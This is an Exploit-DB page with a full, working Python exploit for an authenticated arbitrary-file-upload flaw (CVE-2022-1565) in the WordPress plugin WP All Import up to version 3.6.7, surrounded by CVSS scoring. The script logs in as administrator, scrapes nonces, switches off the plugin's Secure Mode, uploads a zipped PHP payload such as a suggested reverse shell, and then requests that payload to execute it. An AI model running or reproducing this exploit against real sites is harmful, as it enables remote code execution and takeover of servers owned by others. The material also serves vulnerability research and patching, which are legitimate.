Lucene search

K
exploitdbAkuCyberSecEDB-ID:51122
HistoryMar 29, 2023 - 12:00 a.m.

WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)

2023-03-2900:00:00
AkuCyberSec
www.exploit-db.com
92
wordpress
arbitrary file upload
remote code execution
authenticated
vulnerability

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.015 Low

EPSS

Percentile

87.2%

# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/05/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://www.wpallimport.com/
# Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)
# Version: <= 3.6.7 (tested: 3.6.7)
# Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)
# CVE: CVE-2022-1565

#!/usr/bin/python
import requests
import re
import os

# WARNING: This exploit does NOT include the payload.
# Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work.
# If a file with the same name as the payload is already on the server, the upload will OVERWRITE it
# 
# Please notice that I'm NOT the researcher who found this vulnerability

# # # # # VULNERABILITY DESCRIPTION # # # # #
# The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7. 
# This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible. 

# # # # # HOW THE EXPLOIT WORKS # # # # #
# 1. Prepare the zip file:
#   - create a PHP file with your payload (e.g. rerverse shell)
#   - set the variable "payload_file_name" with the name of this file (e.g. "shell.php")
#   - create a zip file with the payload
#   - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip")
#
# 2. Login using an administrator account:
#   - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /)
#   - set the variable "admin_user" with the username of an administrator account
#   - set the variable "admin_pass" with the password of an administrator account
#
# 3. Get the wpnonce using the get_wpnonce_upload_file() method
#   - there are actually 2 types of wpnonce:
#       - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class.
#           This wpnonce allows us to change the plugin settings (check the step 4)
#       - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class.
#           This wpnonce allows us to upload the file
#   
# 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class
#   - if the Secure Mode is enabled, the zip content will be put in a folder with a random name.
#       The exploit will disable the Secure Mode.
#       By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url).
#       The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
#   - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode.
#
# 5. Upload the file using the upload_file(wpnonce_upload_file: str) method
#   - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully.
#       The response will contain a JSON that looks like this:
#           {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"}
#       As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed
#
# 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method
#
# 7. Activate the payload using the activate_payload() method
#   - you can define a method to activate the payload.
#       There reason behind this choice is that this exploit does NOT provide any payload.
#       Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters

# # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # #
# According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page"
# I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?)
# I had to find a workaround and so I did, by exploiting this option.
# WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7

# # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # #
# In order for the exploit to work please consider the following:
# 1. check the target_url and the admin credentials
# 2. check the path of the zip file and the name of the payload (they can be different)
# 3. if you're testing locally, try to set verify_ssl_certificate on False
# 4. you can use print_response(http_response) to investigate further

# Configure the following variables:
target_url = "https://vulnerable.wp/wordpress"  # Target base URL
admin_user = "admin"                            # Administrator username
admin_pass = "password"                         # Administrator password
zip_file_to_upload = "/shell.zip"               # Path to the ZIP file (e.g /root/shell.zip)
payload_file_name = "shell.php"                 # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell)
verify_ssl_certificate = True                   # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed.

# Do NOT change the following variables
wp_login_url = target_url + "/wp-login.php"                                                 # WordPress login page
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings"   # Plugin page settings
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name   # Payload will be uploaded here
re_enable_secure_mode = False
session = requests.Session()

# This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files.
class PluginSetting:
    # Regular Expression patterns
    pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>'
    pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>'
    pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};'
    http_response: requests.Response
    is_secure_mode_enabled: bool
    wpnonce_edit_settings: str
    wpnonce_upload_file: str

    def __init__(self,  http_response: requests.Response):
        self.http_response = http_response
        self.check_if_secure_mode_is_enabled()
        self.retrieve_wpnonce_edit_settings()
        self.retrieve_wpnonce_upload_file()

    def check_if_secure_mode_is_enabled(self):
        # To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked
        # <input type="checkbox" value="1" id="secure" name="secure" checked="checked">
        regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)
        if not regex_search:
            print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")
            # print_response(self.http_response) # for debugging
            exit()
        self.is_secure_mode_enabled = "checked" in regex_search.group()
        
    def retrieve_wpnonce_edit_settings(self):
        # You can find this wpnonce in the source file by searching for the following input hidden:
        # <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9">
        # 052e2438f9 would be the wpnonce for editing the settings
        regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)
        if not regex_search:
            print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")
            # print_response(self.http_response) # for debugging
            exit()
        
        self.wpnonce_edit_settings = regex_search.group(1)

    def retrieve_wpnonce_upload_file(self):
        # You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b';
        # dee75fdb8b would be the wpnonce for the upload
        regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
        if not regex_search:
            print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")
            # print_response(self.http_response) # for debugging
            exit()
        
        self.wpnonce_upload_file = regex_search.group(1)
        
def wp_login():
    global session
    data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
    login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }

    # allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found.
    # Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not
    print("Trying to login...")
    response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)

    if response.status_code == 302:
        print("Logged in successfully!")
        return

    # print_response(response) # for debugging
    print("Login failed. If the credentials are correct, try to print the response to investigate further.")
    exit()

def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:
    global session
    if set_to_enabled:
        print("Enabling secure mode...")
    else:
        print("Disabling secure mode...")

    print("Edit settings wpnonce value: " + wpnonce)
    data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
    response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)

    if response.status_code == 403:
        print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")
        # print_response(response) # for debugging
        exit()
    return response

def switch_back_to_secure_mode():
    global session

    print("Re-enabling secure mode...")
    response = session.get(url=wp_all_import_page_settings)
    plugin_setting = PluginSetting(response)

    if plugin_setting.is_secure_mode_enabled:
        print("Secure mode is already enabled")
        return
    
    response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
    new_plugin_setting = PluginSetting(response)
    if not new_plugin_setting.is_secure_mode_enabled:
        print("Something went wrong: secure mode has not been re-enabled")
        # print_response(response) # for debugging
        exit()
    print("Secure mode has been re-enabled!")

def get_wpnonce_upload_file() -> str:
    global session, re_enable_secure_mode    
    # If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload
    # If Secure Mode is already disabled, it just returns the wpnonce for the upload

    print("Checking if secure mode is enabled...")
    response = session.get(url=wp_all_import_page_settings)
    plugin_setting = PluginSetting(response)

    if not plugin_setting.is_secure_mode_enabled:
        re_enable_secure_mode = False
        print("Insecure mode is already enabled!")
        return plugin_setting.wpnonce_upload_file

    print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")
    response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)

    new_plugin_setting = PluginSetting(response)

    if new_plugin_setting.is_secure_mode_enabled:
        print("Something went wrong: secure mode has not been disabled")
        # print_response(response) # for debugging
        exit()
    
    print("Secure mode has been disabled!")
    re_enable_secure_mode = True
    return new_plugin_setting.wpnonce_upload_file

def upload_file(wpnonce_upload_file: str):
    global session

    print("Uploading file...")
    print("Upload wpnonce value: " + wpnonce_upload_file)

    zip_file_name = os.path.basename(zip_file_to_upload)
    upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
    files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}
    data = { "name" : zip_file_name }
    response = session.post(url=upload_url, files=files, data=data)

    if response.status_code == 200:
        print("Server replied with HTTP 200 OK. The upload should be completed.")
        print("Payload should be here: " + payload_url)
        print("If you can't find the payload at this URL, try to print the response to investigate further")
        # print_response(response) # for debugging
        return 1
    else:
        print("Something went wrong during the upload. Try to print the response to investigate further")
        # print_response(response) # for debugging
        return 0
        
def activate_payload():
    global session

    print("Activating payload...")
    response = session.get(url=payload_url)

    if response.status_code != 200:
        print("Something went wrong: could not find payload at " + payload_url)
        # print_response(response) # for debugging
        return

def print_response(response:requests.Response):
    print(response.status_code)
    print(response.text)
    
# Entry Point
def Main():
    print("Target: " + target_url)
    print("Credentials: " + admin_user + ":" + admin_pass)

    # Do the login
    wp_login()

    # Retrieve wpnonce for upload.
    # It disables Secure Mode if needed, then returns the wpnonce
    wpnonce_upload_file = get_wpnonce_upload_file()

    # Upload the file
    file_uploaded = upload_file(wpnonce_upload_file)

    # Re-enable Secure Mode if needed
    if re_enable_secure_mode:
        switch_back_to_secure_mode()

    # Activate the payload
    if file_uploaded:
        activate_payload()

Main()

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

0.015 Low

EPSS

Percentile

87.2%